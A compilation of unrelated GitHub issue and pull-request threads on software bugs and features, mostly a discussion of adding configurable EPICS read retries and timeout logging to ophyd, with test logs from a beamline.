Due to the construction of a rule in the plugin's grammar, any else must be followed by "{" query "}", otherwise a syntax error is reported.
Expected Behavior
else with simple unification is allowed.
How To Reproduce

Create a file with the following contents:
package com.foo

foo = true {
    input.x < input.y
} else = false

Observe that there is a syntax error " or '{' expected" at the end of input.
Run opa check on the file and observe that there are no errors.
Environment

OS:  macOS 10.14

OPA version:  0.25.2

IDE full name and version:  GoLand 2020.3.1

plugin version:  <IP_ADDRESS>-202

Additional context

thank you for reporting the issue

thank you for reporting the issue


Enable to sign in with the "Sign in with browser" from a remote server

Describe what happened:
From a remote server, the sign-in to Live Share finishes with a Timeout when using the command Sign in with browser.
What was your system configuration?
Product and Version : VSCode: 1.53.2
OS Version: Windows 10
Live Share Extension Version: v1.0.3629
Target Platform : SUSE Linux Enterprise Server 12 SP5
Steps to Reproduce / Scenario:

Connect to a remote host
Install Live Share extension
click on the command Sign in with browser
Wait few seconds or sometime few minutes to have the prompt Sign in with Microsoft / Sign in with Github
Click on Sign in With Microsoft
A new chrome tab opens, follow the procedure
In VSCode a popin appears with "Sign in..."

After few minutes I get a timeout in the console of developpers tools
[Extension Host] Error: connect ETIMEDOUT <IP_ADDRESS>:443	at TCPConnectWrap.afterConnect [as oncomplete] (net.js:1141:16)

I find some workaround but it's not really User friendly.
workaround  1
Use Sign in with user code instead. It's working fine, but the user has to open itself the browser access to https://insiders.liveshare.vsengsaas.visualstudio.com/auth/login, copy and paste the code.
The connection is not kept after reloading the windows, it's very painful.
workaround  2

Install Live Share in local instance (on the laptop),
select the option Live Share: Disable VSCode account authentication (this option is not available when using Live Share in a remote server).
Connect to a remote host
click on the command Sign in with browser
Follow the procedure on the new Chrome tab
Copy/Paste the code in VScode

the second workaround is painful because the user has to install the extension on his laptop.
Same as above the connection is not kept after reloading the windows.
Questions
Do we have to open the access to a specific hostname from the remote server not described in the documentation?
We already opened the access to:

insiders.liveshare.vsengsaas.visualstudio.com
prod.liveshare.vsengsaas.visualstudio.com

Please attach logs to this issue:
Lives-share-scenario2.zip
Thanks for the help
Best regards

@Davsterl how do we categorize this?

Hello, Can  you try your specific scenario with our newer authentication mechanism?
Details can be found here: https://github.com/MicrosoftDocs/live-share/issues/4128

Hello @Davsterl ,
Unfortunatly I can't try due to this issue I raised: Live Share v1.0.3784 is not working on remote server #4118.

General update,
from our remote server we opened to test the outbound access to online.visualstudio.com to allow the sign-in working.
and we also should open the access to this 2 differents IP <IP_ADDRESS> and <IP_ADDRESS> to allow the activation of Live Share.
But since nothing is documented about these outbound access the security of the compagny won't open them.
With this setup I was able to use Live Share correctly.
Could you explain if all these outbound access are mandatory, and what are the hostname used to allow the activation of Live Share.
Thanks

I'm closing this issue concerning an old version of Live Share.
Issue not more reprodutible with the new version.
Thanks


Submitpage

I didn't change anything, but suddenly it stopped working.
SubmitMaterialsPage.js:45
GET http://localhost:5000/api/get_unique_values 404 (NOT FOUND)

This is so interesting... The code logic is fine, and everything is normal after restarting the laptop.


i can delete a project

user flow

user hovers over the project name in nav
when user does (1), a bin icon appears
if a user clicks on the bin icon, a modal opens (see wireframe below) to confirm deletion (modal should also advise that the composite tasks will move into "Inbox", in prep for (or in tandem with) #31 )

in the modal, if the user confirms deletion (whether clicking button or pressing enter key), the user is taken to the inbox, where the composite tasks of the deleted project will be
in the modal, if the user cancels deletion (whether clicking cancel or just escape key), nothing happens - user still sees the project page that they're on, whatever it is

checklist

[x] build modal (i feel it should be similar to the one built in #26 for task, with slight changes in copy - try to DRY here)
[ ] add event listeners
[ ] write event handlers
[ ] write appController level orchestration for the DOM to interface with - the appController will handle the localStorage relationship

this is blocked by #41


Functionality to ignore a plugin

Is your feature request related to a problem? Please describe.
I'm developing a few plugins, and often new ideas take over, but old plugins remain on PyPI. I'd like to ensure that those stale plugins are not visible on the napari hub, potentially confusing users (e.g. should they use napari-cellfinder or cellfinder-napari?)
Describe the solution you'd like
Some way of easy marking the repository as not for the napari hub, e.g. .napari/.hub-ignore
Describe alternatives you've considered
I could remove them from PyPI, but I'd like to keep them there to support existing projects.

you could use Development Status :: 7 - Inactive. The possibility remains though that the project itself isn't inactive though... let's just say that they no longer wish for the project to be their napari plugin?

This is pretty much it. The project may still be ongoing, but we don't necessarily want it to be "found" as a napari plugin. Maybe it was once a plugin, and now it's a standalone tool, or maybe we're just supporting it internally.

I could also imagine a flag in the .napari/config.yml that permits 3 levels of "visibility" on the hub
Public (default, fully visible)
Hidden (listing page exists, but doesn't show up in search. useful for pre-release development)
Disabled (no listing at all)

I like this idea, especially as we can gradually move between the levels of visibility.

Hi @neuromusic, as discussed. As a temporary measure, could you hide/block the napari-cellfinder and napari-brainreg plugins from the napari hub? Thanks!


Upload to endomondo fails

When executing ./connector upload:workout endomondo ./dump/728807124.gpx it fails with error:
Fatal error: Class 'SportTrackerConnector\Workout\Loader\GPX' not found in /Users/Martynas/Developer/SportTrackerConnector/src/SportTrackerConnector/Command/AbstractCommand.php on line 157
I know nothing about the php, but it looks that Loader class for GPX is missing. Same issue with TCX.

You have to install the dependencies with composer before you use it

Dependencies are there. Issue is path to the classes. /core is not needed. Should I create a pull request? Maybe there are some.
Sent from my calculator

On 25 May 2016, at 17:44, Dragos Protung<EMAIL_ADDRESS>wrote:
You have to install the dependencies with composer before you use it
—
You are receiving this because you authored the thread.
Reply to this email directly or view it on GitHub

Sorry for the late reply. I do not quite see how you got this problem. You can make a pull request to fix whatever you think is broken and i will review it.


Add Steve Hawkins as member to Model Registry repo

Description
Adding a new member to Model Registry repository access.
New Open Data Hub Member Requirements

[ x] New members have reviewed and acknowledged the Open Data Hub:

Code of Conduct
Contribution Guide
Community Membership Guidelines

[ x] Enabled 2FA on their GitHub account

Pull Request Requirements

[x ] New members are added in alphabetical order
[ x] Only one new member change per commit (if you add two members separate it in two commits
[x] For individual user changes: Commit message format Add <USERNAME> to <opendatahub-io, mlops-sig, ...>.
[x ] For new team requests: Commit message format Create <TEAMNAME>. If the new team consists solely of existing members, you may
[ x] New GitHub team requests are from an existing opendatahub-io member who will function as the maintainer of the team. Each additional member will follow the same requirements for adding new members

/lgtm

/lgtm

/approve

/approve

/approve


Update readme.txt to add C++/WinRT specific information

Adds information specific to C++/WinRT in the readme.txt file included with the NuGet package.

@Jaiganeshkumaran is there an associated issue that this PR resolves?
@jevansaks does this cpp winrt requirement make senes?

@Jaiganeshkumaran is there an associated issue that this PR resolves?

No there isn't an issue but this is a very small change.

This is outlined in the walkthrough guide for getting started with WinUI 2 in C++/Winrt: https://docs.microsoft.com/en-us/windows/uwp/cpp-and-winrt-apis/simple-winui-example#edit-pchh-as-necessary
Given that this is not library dependent though, I'm not sure how much value this adds. After all, you would need to do this step with other libraries as well.

This is outlined in the walkthrough guide for getting started with WinUI 2 in C++/Winrt: https://docs.microsoft.com/en-us/windows/uwp/cpp-and-winrt-apis/simple-winui-example#edit-pchh-as-necessary
Given that this is not library dependent though, I'm not sure how much value this adds. After all, you would need to do this step with other libraries as well.

It does add value for me because I don't really know what namespaces are in the Microsoft.UI.Xaml package and providing the list of header files in the readme makes it easier than opening the docs every time I add it to a C++/WinRT project.

readme.txt already has too much information. Perhaps we can just link out to the getting started documentation and make sure that's up to date?


the deploy/destroy live account test does not seem to catch any errors

the test does not seem to care if the stack actually goes into CREATE_COMPLETE mode or not. investigate.

addressed by #52


Accessing db.json in live

I just want to access this url https://andolino.github.io/db/db.json using json-server to create a fake api

@andolino
here you go: json-server https://andolino.github.io/db/db.json
as written in the documentation
pretty easy


Support read retries.

Per @prjemian, there is a decades-long bug in the EPICS servers that causes IOCs to sometimes ignore read requests, even though the specification requires them to respond. Reportedly, SPEC works around this by simply retrying. This is a little scary, because if the IOC is suddenly not abiding by the specification one could worry that it could be giving wrong data.
We have observed this intermittently at NSLS, typically in the context of Area Detector and at least once with a Scaler. At APS (particulartly 8ID) they have observed it significantly more. Anecdotally, this server issue seems to be easier to hit with hard IOCs than soft IOCs, which may explain why it is more common at APS than NSLS.
As a compromise, ophyd will allow users to opt in to retries. Default settings can be applied at the class level, via a new classmethod on EpicsSignalBase. Individual signals may be separately configured at instantiation time.
Basic demo and relevant docstring:
In [1]: import ophyd

In [2]: ophyd.EpicsSignal.set_default_timeout(timeout=60, read_retries=5, floor=10)

In [3]: signal = ophyd.signal.EpicsSignal('simple:A')

In [4]: signal.get()
Out[4]: 1

In [5]: signal.get_setpoint()
Out[5]: 1

In [6]: ophyd.EpicsSignal.set_default_timeout?
Signature:
ophyd.EpicsSignal.set_default_timeout(
    *,
    timeout=2.0,
    connection_timeout=1.0,
    read_retries=0,
    floor=0.5,
)
Docstring:
Set the class-wide defaults for timeouts and read retries.

This may only be called before any instances of EpicsSignalBase are
made.

Parameters
----------
timeout: float, optional
    Total time budget (seconds) for connecting and reading, including
    all retries.
connection_timeout: float, optional
    Time (seconds) allocated for establishing a connection with the
    IOC.
read_retries: integer, optional
    Number of retries. The default value is 0, meaning one total
    read attempt will be made.
floor: float, optional
    Minimum time per read attempt. Each read attempt will be given
    ``max(timeout / read_retries, floor)`` seconds to succeed or
    timeout.

Raises
------
RuntimeError
    If called after :class:`EpicsSignalBase` has been instantiated for
    the first time.
File:      ~/Repos/bnl/ophyd/ophyd/signal.py
Type:      method

The finer points of this API were worked out in a brief conversation with @tacaswell and @MikeHart85. The implementation here seems to basically work, but needs testing and likely some polishing. Handing off to @prjemian....

In conversation with @timmmooney today about this, he reminded me of the reason why retries were considered the solution and it is very application-specific.  In SPEC, user macros do not have the ability to establish a CA monitor on any PV; they must make a caget request for any of the PVs that are not preconfigured as a motor or scaler device.  At the time of the caget, retries were implemented on an empirical basis.
We are in a better situation with a homogeneous tool chain (down to the call to the precompiled libca functions, that is).  PyEpics allows us to set CA monitors, which then cache the most recent value in Python memory.  To ensure the monitors are received, it is necessary to call epics.ca.poll() frequently if epics.ca.PREEMPTIVE_CALLBACK is set to disabled before any other use of the CA library.  The poll() command ensures that the CA client queues for outgoing commands and incoming events are processed.  By default, PyEpics enables this configuration setting.
Not all fields of a record instance will update via a CA monitor (such as display limits, control limits, and display information such as precision and engineering units).  See the EPICS Record Reference Manual section Monitor Specification for more information.  PyEpics provides epics.ca.get_with_metadata() to get this additional information that would not update otherwise in the client.  In the documentation for any specific record type, check the Rec Proc Monitor column, such as the calc record.

Tested between two linux workstations (opp: IOC, poof: bluesky) and it runs test3.py and test4.py (from https://github.com/prjemian/bstesting) using default configurations for each and no problems.
When running test3.py on the VM, a motor stall happened after ping 9.  I believe the motor stall is unrelated to this issue.  It indicates a different problem happens on the VM that interferes with any chance to diagnose the retry code here.
[D 10:41:29.947 run_engine:1376] sleep[None]: (None), (0.0002,), {}
[D 10:41:29.950 run_engine:1376] checkpoint[None]: (None), (), {}
[D 10:41:29.950 run_engine:1376] set[None]: (EpicsMotor(prefix='sky:m1', name='m1', settle_time=0.0, timeout=None, read_attrs=['user_readback', 'user_setpoint'], configuration_attrs=['user_offset', 'user_offset_dir', 'velocity', 'acceleration', 'motor_egu'])), (-0.1,), {'group': '5bf68399-7a62-4e6d-9b09-33e88c180002'}
[D 10:41:29.956 run_engine:1376] set[None]: (EpicsMotor(prefix='sky:m2', name='m2', settle_time=0.0, timeout=None, read_attrs=['user_readback', 'user_setpoint'], configuration_attrs=['user_offset', 'user_offset_dir', 'velocity', 'acceleration', 'motor_egu'])), (0.1,), {'group': '5bf68399-7a62-4e6d-9b09-33e88c180002'}
[D 10:41:29.958 run_engine:1376] wait[None]: (None), (), {'group': '5bf68399-7a62-4e6d-9b09-33e88c180002'}
[D 10:41:29.959 epics_motor:237] [ts=2020-01-07 10:41:29.93323] EpicsMotor(prefix='sky:m1', name='m1', settle_time=0.0, timeout=None, read_attrs=['user_readback', 'user_setpoint'], configuration_attrs=['user_offset', 'user_offset_dir', 'velocity', 'acceleration', 'motor_egu']) moving: True (value=0)
[D 10:41:29.960 epics_motor:237] [ts=2020-01-07 10:41:29.93330] EpicsMotor(prefix='sky:m2', name='m2', settle_time=0.0, timeout=None, read_attrs=['user_readback', 'user_setpoint'], configuration_attrs=['user_offset', 'user_offset_dir', 'velocity', 'acceleration', 'motor_egu']) moving: True (value=0)
[D 10:41:30.441 epics_motor:237] [ts=2020-01-07 10:41:30.43944] EpicsMotor(prefix='sky:m1', name='m1', settle_time=0.0, timeout=None, read_attrs=['user_readback', 'user_setpoint'], configuration_attrs=['user_offset', 'user_offset_dir', 'velocity', 'acceleration', 'motor_egu']) moving: False (value=1)
[D 10:41:30.444 run_engine:1918] The object EpicsMotor(prefix='sky:m1', name='m1', settle_time=0.0, timeout=None, read_attrs=['user_readback', 'user_setpoint'], configuration_attrs=['user_offset', 'user_offset_dir', 'velocity', 'acceleration', 'motor_egu']) reports set is done with status True
[D 10:41:30.445 epics_motor:237] [ts=2020-01-07 10:41:30.43951] EpicsMotor(prefix='sky:m2', name='m2', settle_time=0.0, timeout=None, read_attrs=['user_readback', 'user_setpoint'], configuration_attrs=['user_offset', 'user_offset_dir', 'velocity', 'acceleration', 'motor_egu']) moving: False (value=1)

I'll work with the XPCS instrument to test this code today.

Great, thank you.

Just associated this PR with #776 but it may be relevant for #768, as well.

First test at APS XPCS beam line writing 0.1, then -0.1 repeatedly to an EPICS ao (float value) record with 1e-6 sleep time gives an interesting set of results.  Repeated the cycle 2000 times (total of 4000 calls to bps.mv).
BUT, this is a big improvement because test4 did not stop on the first delay of more than 1 second!
Looking to turn on the log messages for when retries are encountered...

Reading aps-8id-trr/ipython-8idiuser#124 (quickly) am I right in understanding that there were no crashing but a pattern of delays that suggests the retries were probably engaging?

YES - no crashing
NO - no retries were activated -- because these parameters are not favorable to get any retries

ophyd.EpicsSignal.set_default_timeout(
    timeout=60,
    read_retries=5,
    floor=10,
    )

adjusting them to
ophyd.EpicsSignal.set_default_timeout(
    timeout=5.0,
    read_retries=5000,
    floor=0.05,
    )

and this activates the logging code (modified the message slightly):
                else:
                    self.log.warning(
                        "Attempt %s to read PV %s timed out"
                        " in %s sec. Retrying....",
                        attempt+1,
                        self._read_pvname,
                        timeout)
                    # Continue through the retry loop.

Running with: ./test4.py 500 0.01 2>&1 | tee /tmp/output.log
then grabbing just the Attempt messages: grep Attempt /tmp/output.log caught this retry sequence:
[W 16:42:31.246 signal:977] Attempt 1 to read PV 8idi:Reg200 timed out in 10 sec. Retrying....
[W 16:42:31.297 signal:977] Attempt 2 to read PV 8idi:Reg200 timed out in 10 sec. Retrying....
[W 16:42:31.347 signal:977] Attempt 3 to read PV 8idi:Reg200 timed out in 10 sec. Retrying....
[W 16:42:31.398 signal:977] Attempt 4 to read PV 8idi:Reg200 timed out in 10 sec. Retrying....
[W 16:42:31.448 signal:977] Attempt 5 to read PV 8idi:Reg200 timed out in 10 sec. Retrying....
[W 16:42:31.498 signal:977] Attempt 6 to read PV 8idi:Reg200 timed out in 10 sec. Retrying....
[W 16:42:31.549 signal:977] Attempt 7 to read PV 8idi:Reg200 timed out in 10 sec. Retrying....
[W 16:42:31.599 signal:977] Attempt 8 to read PV 8idi:Reg200 timed out in 10 sec. Retrying....
[W 16:42:31.649 signal:977] Attempt 9 to read PV 8idi:Reg200 timed out in 10 sec. Retrying....
[W 16:42:31.699 signal:977] Attempt 10 to read PV 8idi:Reg200 timed out in 10 sec. Retrying....
[W 16:42:31.750 signal:977] Attempt 11 to read PV 8idi:Reg200 timed out in 10 sec. Retrying....
[W 16:42:31.800 signal:977] Attempt 12 to read PV 8idi:Reg200 timed out in 10 sec. Retrying....
[W 16:42:31.851 signal:977] Attempt 13 to read PV 8idi:Reg200 timed out in 10 sec. Retrying....
[W 16:42:31.901 signal:977] Attempt 14 to read PV 8idi:Reg200 timed out in 10 sec. Retrying....
[W 16:42:31.951 signal:977] Attempt 15 to read PV 8idi:Reg200 timed out in 10 sec. Retrying....
[W 16:42:32.002 signal:977] Attempt 16 to read PV 8idi:Reg200 timed out in 10 sec. Retrying....
[W 16:42:32.052 signal:977] Attempt 17 to read PV 8idi:Reg200 timed out in 10 sec. Retrying....
[W 16:42:32.102 signal:977] Attempt 18 to read PV 8idi:Reg200 timed out in 10 sec. Retrying....
[W 16:42:32.153 signal:977] Attempt 19 to read PV 8idi:Reg200 timed out in 10 sec. Retrying....
[W 16:42:32.203 signal:977] Attempt 20 to read PV 8idi:Reg200 timed out in 10 sec. Retrying....

more informative message still:
                else:
                    self.log.warning(
                        "Attempt %s/%.0f to read PV %s timed out"
                        " in %s sec. Retrying....",
                        attempt+1,
                        timeout / floor,
                        self._read_pvname,
                        read_timeout)
                    # Continue through the retry loop.

Looks like:
(bluesky) 8idiuser@snow ~/.../jemian/bstesting $ ./test4.py 500 0.01 2>&1 | tee /tmp/output.log
(bluesky) 8idiuser@snow ~/.../jemian/bstesting $ grep Attempt /tmp/output.log
[W 16:51:11.856 signal:978] Attempt 1/100 to read PV 8idi:Reg200 timed out in 0.05 sec. Retrying....
[W 16:51:11.907 signal:978] Attempt 2/100 to read PV 8idi:Reg200 timed out in 0.05 sec. Retrying....
[W 16:51:11.957 signal:978] Attempt 3/100 to read PV 8idi:Reg200 timed out in 0.05 sec. Retrying....
[W 16:51:12.008 signal:978] Attempt 4/100 to read PV 8idi:Reg200 timed out in 0.05 sec. Retrying....
[W 16:51:12.058 signal:978] Attempt 5/100 to read PV 8idi:Reg200 timed out in 0.05 sec. Retrying....
[W 16:51:12.108 signal:978] Attempt 6/100 to read PV 8idi:Reg200 timed out in 0.05 sec. Retrying....
[W 16:51:12.159 signal:978] Attempt 7/100 to read PV 8idi:Reg200 timed out in 0.05 sec. Retrying....
[W 16:51:12.209 signal:978] Attempt 8/100 to read PV 8idi:Reg200 timed out in 0.05 sec. Retrying....
[W 16:51:12.259 signal:978] Attempt 9/100 to read PV 8idi:Reg200 timed out in 0.05 sec. Retrying....
[W 16:51:12.310 signal:978] Attempt 10/100 to read PV 8idi:Reg200 timed out in 0.05 sec. Retrying....
[W 16:51:12.360 signal:978] Attempt 11/100 to read PV 8idi:Reg200 timed out in 0.05 sec. Retrying....
[W 16:51:12.411 signal:978] Attempt 12/100 to read PV 8idi:Reg200 timed out in 0.05 sec. Retrying....
[W 16:51:12.461 signal:978] Attempt 13/100 to read PV 8idi:Reg200 timed out in 0.05 sec. Retrying....
[W 16:51:12.512 signal:978] Attempt 14/100 to read PV 8idi:Reg200 timed out in 0.05 sec. Retrying....
[W 16:51:12.562 signal:978] Attempt 15/100 to read PV 8idi:Reg200 timed out in 0.05 sec. Retrying....
[W 16:51:12.612 signal:978] Attempt 16/100 to read PV 8idi:Reg200 timed out in 0.05 sec. Retrying....
[W 16:51:12.663 signal:978] Attempt 17/100 to read PV 8idi:Reg200 timed out in 0.05 sec. Retrying....
[W 16:51:12.713 signal:978] Attempt 18/100 to read PV 8idi:Reg200 timed out in 0.05 sec. Retrying....
[W 16:51:12.764 signal:978] Attempt 19/100 to read PV 8idi:Reg200 timed out in 0.05 sec. Retrying....
[W 16:51:12.814 signal:978] Attempt 20/100 to read PV 8idi:Reg200 timed out in 0.05 sec. Retrying....
[W 16:51:12.864 signal:978] Attempt 21/100 to read PV 8idi:Reg200 timed out in 0.05 sec. Retrying....

Now the silver dollar question comes: Why is this PV occasionally taking more than 1 second to read?  To get a wireshark trace, I believe I need the IT folks involved.

The local read_timeout will give you what timeout we passed down the chain.
@prjemian You should have the ability to push to Dan's branch to add your commits to this PR.

Could you try that same test with the caproto backend to ophyd?  If we don't see the problem then we know the issues is someplace in the libca / pyepics stack on the client side, if we do see the issue then we know the issue is someplace between the network stack on the client and the server IOC.

Could you try that same test with the caproto backend to ophyd? If we don't see the problem then we know the issues is someplace in the libca / pyepics stack on the client side, if we do see the issue then we know the issue is someplace between the network stack on the client and the server IOC.

tomorrow - I must first learn how to set that up, I don't expect difficulty with it

FWIW:  here's a single retry event from the raw logs:
2020-01-07 17:08:43.132540 pong 208:  -0.1 -0.1
# ------------------------------
[D 17:08:43.132 run_engine:1181] sleep: (None), (0.01,), {}
[D 17:08:43.143 run_engine:1181] checkpoint: (None), (), {}
[D 17:08:43.143 run_engine:1181] set: (EpicsSignal(read_pv='8idi:Reg200', name='pv', value=-0.1, timestamp=1578438523.110695, tolerance=0.0001, auto_monitor=False, string=False, write_pv='8idi:Reg200', limits=False, put_complete=False)), (0.1,), {'group': 'e5ab0a63-fe69-427e-9386-435d9aa3f131'}
[D 17:08:43.144 run_engine:1181] wait: (None), (), {'group': 'e5ab0a63-fe69-427e-9386-435d9aa3f131'}
[W 17:08:44.057 signal:978] Attempt 1/100 to read PV 8idi:Reg200 timed out in 0.9091 sec. Retrying....
[D 17:08:44.206 signal:250] set_and_wait('pv', 0.1) succeeded => 0.1
[D 17:08:44.206 run_engine:1961] The object EpicsSignal(read_pv='8idi:Reg200', name='pv', value=0.1, timestamp=1578438524.194029, tolerance=0.0001, auto_monitor=False, string=False, write_pv='8idi:Reg200', limits=False, put_complete=False) reports set is done with status True
2020-01-07 17:08:44.207621 ping 209:  0.1 0.1
# ------------------------------
[D 17:08:44.207 run_engine:1181] sleep: (None), (0.01,), {}

If you have caproto installed, it should be ophyd.set_cl('caproto') before you create your first Signal.

Do you see the same problems if you just read (but never change the value)?  Testing that would reduce the work the server has to do and help isolate this to network stack on the server out.

If you have caproto installed, it should be ophyd.set_cl('caproto') before you create your first Signal.

That's easy.  Thanks.

Do you see the same problems if you just read (but never change the value)? Testing that would reduce the work the server has to do and help isolate this to network stack on the server out.

So, since signal.value does the read, this would change my plan from
def move(signal, label, dest, delay_s):
    yield from bps.checkpoint()
    yield from bps.mv(signal, dest)
    msg = f"{label}:  {dest} {signal.value}"
    print(datetime.datetime.now(), msg, "\n#", "-"*30)
    yield from bps.sleep(delay_s)

to
def move(signal, label, dest, delay_s):
    yield from bps.checkpoint()
    # yield from bps.mv(signal, dest)
    msg = f"{label}:  {dest} {signal.value}"
    print(datetime.datetime.now(), msg, "\n#", "-"*30)
    yield from bps.sleep(delay_s)

Agree?

Do you see the same problems if you just read (but never change the value)? Testing that would reduce the work the server has to do and help isolate this to network stack on the server out.

Results posted here show no timeouts or retry events.  1000 calls to move() in 11.344 s with sleep of 0.01 s after each call.

Re-upping my suggestion to try caproto-shark and see if it helps:
pip install caproto[complete]
sudo tcpdump -U -w - | caproto-shark

More info: https://caproto.github.io/caproto/shark.html

That needs root to install.  At APS, it takes a sysadmin.  BUT
(bluesky) 8idiuser@snow ~/.../jemian/bstesting $ which tcpdump
/usr/sbin/tcpdump

Thanks, sysadmins!

sudo tcpdump -w some_network_traffic.pcap

takes a sysadmin to run this

After we implement the more detailed log message format recommended above, is this...ready to go in?
I anticipate that resolving the pyepics/libca/network/server question will take some time to understand, fix, and deploy.

Just a skosh more tests today.  I'll give my READY signal.
On Wed, Jan 8, 2020, 10:35 AM Dan Allan<EMAIL_ADDRESS>wrote:

After we implement the more detailed log message format recommended above,
is this...ready to go in?
I anticipate that resolving the pyepics/libca/network/server question will
take some time to understand, fix, and deploy.
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/bluesky/ophyd/pull/788?email_source=notifications&email_token=AARMUMA3YCZRCBLCFOF7MEDQ4X6FZA5CNFSM4KDLFXQ2YY3PNVWWK3TUL52HS4DFVREXG43VMVBW63LNMVXHJKTDN5WW2ZLOORPWSZGOEINFNQI#issuecomment-572151489,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AARMUMGQXJVG5XG5Y2KPLUDQ4X6FZANCNFSM4KDLFXQQ
.

Looks good. 👍 It would be nice to see some proof of the rsrv bug so we 100% know it's not ophyd/pyepics.

I have pushed a commit improving the detail of the output. I tested it by breaking the caproto connection code and then running an example IOC. @prjemian Would you please verify that this looks fine on your end with the changes I have made?
Example retry warnings:
[W 14:14:22.673 signal:979] Attempt 1/6 to read PV simple:A timed out in 10.00 sec. Retrying....
[W 14:14:23.674 signal:979] Attempt 2/6 to read PV simple:A timed out in 10.00 sec. Retrying....
[W 14:14:24.674 signal:979] Attempt 3/6 to read PV simple:A timed out in 10.00 sec. Retrying....
[W 14:14:25.675 signal:979] Attempt 4/6 to read PV simple:A timed out in 10.00 sec. Retrying....
[W 14:14:26.675 signal:979] Attempt 5/6 to read PV simple:A timed out in 10.00 sec. Retrying....

Error when retries are exhausted:
TimeoutError: Failed to read simple:A after 5 attempt(s). Giving up because max retries were reached.

Error when time budget is exceeded:
TimeoutError: Failed to read simple:A in 0.2 sec. 1 attempt(s) were made. Giving up because timeout has been reached.

Example retry warnings:
[W 14:14:22.673 signal:979] Attempt 1/6 to read PV simple:A timed out in 10.00 sec. Retrying....
[W 14:14:23.674 signal:979] Attempt 2/6 to read PV simple:A timed out in 10.00 sec. Retrying....
[W 14:14:24.674 signal:979] Attempt 3/6 to read PV simple:A timed out in 10.00 sec. Retrying....
[W 14:14:25.675 signal:979] Attempt 4/6 to read PV simple:A timed out in 10.00 sec. Retrying....
[W 14:14:26.675 signal:979] Attempt 5/6 to read PV simple:A timed out in 10.00 sec. Retrying....

These messages occur at 1 s intervals.  Perhaps need to report read_timeout instead?  The final message should state the full timeout that has elapsed.

These messages occur at 1 s intervals. Perhaps need to report read_timeout instead?

The read_timeout is what is being reported, but the connection_timeout is what actually killed these attempts. I'll update the log messages to differentiate between connection timeout and read timeout.

The final message should state the full timeout that has elapsed.

Indeed. The error message does that.

The final message should state the full timeout that has elapsed.

Indeed. The error message does that.

TimeoutError: Failed to read simple:A after 5 attempt(s). Giving up because max retries were reached.
Where is the time that it waited?  I see 5 attempts but no time.

How's this look?
Retry-bound example
In [2]: import ophyd

In [3]: ophyd.EpicsSignal.set_default_timeout(timeout=60, read_retries=5, floor=10, connection_timeout=1.5)

In [4]: signal = ophyd.signal.EpicsSignal('simple:A')

In [5]: signal.get()
[W 16:15:34.103 signal:1003] Attempt 1/6 to connect to PV simple:A timed out in 1.50 sec. Retrying....
[W 16:15:35.603 signal:1003] Attempt 2/6 to connect to PV simple:A timed out in 1.50 sec. Retrying....
[W 16:15:37.104 signal:1003] Attempt 3/6 to connect to PV simple:A timed out in 1.50 sec. Retrying....
[W 16:15:38.604 signal:1003] Attempt 4/6 to connect to PV simple:A timed out in 1.50 sec. Retrying....
[W 16:15:40.105 signal:1003] Attempt 5/6 to connect to PV simple:A timed out in 1.50 sec. Retrying....
---------------------------------------------------------------------------
TimeoutError                              Traceback (most recent call last)
<snipped full traceback>

TimeoutError: Failed to read simple:A after 5 attempt(s) taking place over about 9.0 seconds in total. Giving up because max retries were reached.

Timeout-bound example
In [1]: import ophyd

In [2]: ophyd.EpicsSignal.set_default_timeout(timeout=4, read_retries=10, floor=10, connection_timeout=1.5)

In [3]: signal = ophyd.signal.EpicsSignal('simple:A')

In [4]: signal.get()
[W 16:19:49.165 signal:1006] Attempt 1/11 to connect to PV simple:A timed out in 1.50 sec. Retrying....
[W 16:19:50.665 signal:1006] Attempt 2/11 to connect to PV simple:A timed out in 1.50 sec. Retrying....
---------------------------------------------------------------------------
TimeoutError                              Traceback (most recent call last)
<full traceback snipped>
TimeoutError: Failed to read simple:A in 4.0 sec. 3 attempt(s) were made. Giving up because timeout has been reached.

Note that the above examples arise from connection failure. If the timeout occurs during get, the warning will indicate that and will show read_timeout instead of connection_timeout.

Might be worth throwing self.name into the log and error messages too?

@prjemian I would have gone with something like:
def move(signal, label, dest, delay_s):
    yield from bps.checkpoint()
    # yield from bps.mv(signal, dest)
    ret = yield from bps.read(signal)
    ret = f"{label}:  {dest} {ret['data'][sigal.name]}"
    print(datetime.datetime.now(), msg, "\n#", "-"*30)
    yield from bps.sleep(delay_s)

But what you did should also work.
[note what follows is wild speculation] If that never fails, that suggests that we are hitting some sort of dead-lock in the server where if you try to read it too soon after you set it, it gets jammed (which lets the network off the hook!).  Fitting with this theory, there could be a lock acquire in the IOC that timesout after 1s, that releases the deadlock and the server starts to work again.

Might be worth throwing self.name into the log and error messages too?

Yes. In #785, @jklynch is working on doing this the "right way" that we now know from our caproto work (one Logger, with self.name brought in via a LoggerAdapter) which, when finished, will require no changes here. Rather than add content to the message and then immediately strip it out, let's wait on #785.

Testing this at APS XPCS instrument today, pulling latest changes from this PR as well.  Whether PyEpics or caproto are used, still observing some reads take longer and there is a familiar pattern to when these longer reads occur.  Sometimes (unpredictable when), the reads take very long, such that it triggers a retry.  I conjecture that retry might not ever be needed, just a longer timeout period would make it that much less probable to stop the scan due to a long read time.
This PR generates the diagnostics to identify a timeout or retry event.  I'm OK to merge this PR.

BUT, as long as some other items are being changed, this line: https://github.com/bluesky/ophyd/blob/488afa915a85b66d5f7c1d99245e266945cca9be/ophyd/ophydobj.py#L188
needs to be an f-string:
 f"name={self.name}, id={id(self)}")

or use the %s notation as used by the other log calls.
Same here: https://github.com/bluesky/ophyd/blob/488afa915a85b66d5f7c1d99245e266945cca9be/ophyd/signal.py#L682

@prjemian I would have gone with something like:
def move(signal, label, dest, delay_s):
    yield from bps.checkpoint()
    # yield from bps.mv(signal, dest)
    ret = yield from bps.read(signal)
    ret = f"{label}:  {dest} {ret['data'][sigal.name]}"
    print(datetime.datetime.now(), msg, "\n#", "-"*30)
    yield from bps.sleep(delay_s)

like this:
    ret = yield from bps.mv(signal, dest)
    dt = time.time() - t0
    print(
        f"{datetime.datetime.now()} "
        f"MOVE: {label}:  {dest} {ret['data'][signal.name]}  {dt:.6f}"
        # f"MOVE: {label}:  {dest} {ret}  {dt:.6f}"
        "\n# ----------------------------------"
    )

give this error:
[D 14:19:40.513 signal:257] set_and_wait('pv', 0.1) succeeded => 0.1
